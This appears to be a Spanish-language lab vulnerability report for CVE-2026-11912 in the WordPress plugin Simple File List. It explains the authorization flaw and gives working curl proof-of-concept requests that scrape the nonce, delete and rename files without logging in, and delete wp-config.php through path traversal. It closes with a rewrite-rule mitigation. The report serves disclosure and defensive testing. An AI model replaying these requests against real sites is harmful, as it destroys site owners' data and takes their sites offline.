
Autorización faltante para modificación de archivos no autenticada
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-11912 |
| CVSS Score | 7.5 (Alto) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Plugin afectado | Simple File List |
| Versiones afectadas | <= 6.3.7 |
| Versión corregida | 6.3.8 |
| Publicado | 19 de junio de 2026 |
| Investigador | Chloe Chamberland - Wordfence |
| Entorno de laboratorio | poloss-lab.ddev.site (DDEV) |
El plugin Simple File List para WordPress es vulnerable a la modificación arbitraria de archivos debido a controles de autorización insuficientes en todas las versiones hasta la 6.3.7 inclusive. Esto permite que atacantes no autenticados eliminen y modifiquen archivos en el servidor.
La vulnerabilidad existe porque:
Registro de endpoint AJAX: La acción AJAX simplefilelist_edit_job está registrada con los hooks wp_ajax_ y wp_ajax_nopriv_, permitiendo acceso no autenticado:
add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
Control de autorización defectuoso: La lógica de autorización en eeSFL_FileEditor() (línea 1265) utiliza:
if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
return;
}
La función is_admin() devuelve FALSE para las solicitudes AJAX, lo que provoca que la verificación de autorización se cortocircuite antes de evaluar el ajuste AllowFrontManage.
Exposición del nonce: El nonce de seguridad (eeSFL_ActionNonce) se genera usando wp_create_nonce() y se expone en el código fuente HTML del frontend, permitiendo a los atacantes extraerlo sin autenticación.
Durante las pruebas, esta vulnerabilidad se explotó con éxito para ELIMINAR el archivo de configuración de WordPress (wp-config.php), rompiendo completamente el sitio. Esto demuestra la gravedad crítica del aspecto de path traversal de esta vulnerabilidad.
# Obtener el nonce de seguridad desde la página de lista de archivos
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Salida: eeSFL_ActionNonce">1c14af78c2
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=test.txt"
# Respuesta: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Edit" \
-d "eeFileName=original.pdf" \
-d "eeFileNameNew=malicious.pdf"
# Respuesta: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=../../wp-config.php"
# Respuesta: SUCCESS (CRÍTICO - ¡Esto rompe el sitio!)
[eeSFL]# Bloquear llamadas AJAX de simplefilelist_edit_job
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
</IfModule>
Informe generado por Claude Code - Laboratorio de pruebas de seguridad de WordPress Fecha: 20 de junio de 2026